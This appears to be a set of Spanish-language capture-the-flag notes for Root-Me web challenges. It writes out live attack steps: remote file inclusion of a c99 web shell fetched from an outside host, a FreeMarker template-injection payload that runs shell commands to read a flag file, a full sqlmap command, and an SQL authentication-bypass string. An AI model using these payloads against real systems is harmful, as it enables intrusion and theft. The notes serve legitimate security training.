Web - Servidor root-me 3

PHP preg_replace()

PHP type juggling

Remote File Inclusion

Probamos hasta encontrar la forma de hacer RFI, que es solo añadiendo el caracter "?" al final de la url... hemos probamos con http://www.google.es? y ha colado, asi que....

Para esta prueba, usamos una shell en internet(c99.php), que esá en http://www.c99txt.net/s/c99.txt
Leemos el index.php y tenemos ya la clava

/*

Congratz!

Le mot de passe de validation est :
The validation password is :

??????????????????????

*/

Server-side Template Injection

En esta página nos dan la forma de explotar el freemarker que podemos ver es el framework que utiliza la pagina victima del challenge al examinar las cabeceras de http

http://blog.portswigger.net/2015/08/server-side-template-injection.html

y es pasando la siguiente "frase" en la url

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
lo probamos

It's seems that I know you :) uid=1109(web-serveur-ch41) gid=1109(web-serveur-ch41) groups=1109(web-serveur-ch41)

Parece que funciona, asi que hacemos ahora un ls -la para ver los archivos, y vemos que tenemos en ese directorio el archivo SECRET_FLAG.txt

It's seems that I know you :) total 36
drwxr-s--- 5 web-serveur-ch41 www-data 4096 Oct 27 22:01 .
drwxr-s--x 50 challenge www-data 4096 Nov 26 14:06 ..
-r-------- 1 challenge challenge 225 Oct 25 20:51 ._nginx.server-level.inc
-rwx------ 1 web-serveur-ch41 www-data 171 Oct 27 22:13 ._run
-r--r----- 1 web-serveur-ch41 www-data 26 Oct 25 22:42 SECRET_FLAG.txt
-r--r----- 1 web-serveur-ch41 www-data 2109 Oct 25 22:51 pom.xml
dr-xr-x--- 4 web-serveur-ch41 www-data 4096 Oct 25 22:42 src
dr-xr-x--- 9 web-serveur-ch41 www-data 4096 Oct 25 22:51 target
dr-xr-x--- 2 web-serveur-ch41 www-data 4096 Oct 25 22:42 webapp


Ahora hacemos un cat , para leer nuestro archivo:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat SECRET_FLAG.txt") }

It's seems that I know you :) ????????????????????

Ahí tenemos la clave.

SQL injection - authentication

Es hora de usar el sqlmap y hacemos esto despues de ver la comunicación cliente servidor:

sqlmap -u "http://challenge01.root-me.org/web-serveur/ch9/" --data="login=cualquieruser&password=cualquierpassword" -p "password" --dbs --risk=3 --level=5 -a

Se lleva una eternidad, pero al final saca los password, que son:

| 2006 | user1 | ??????????? |
| 2005 | admin | ????????? |
| 2008 | user2 | ???????????? |


hay que mirar la forma de sacarlo de la web sin usar sqlmap....

probar con variaciones de esto

' or username='admin' or '1'='1

SQL injection - authentication - GBK

SQL injection - string

LDAP injection - authentication

NoSQL injection - authentication

Path Truncation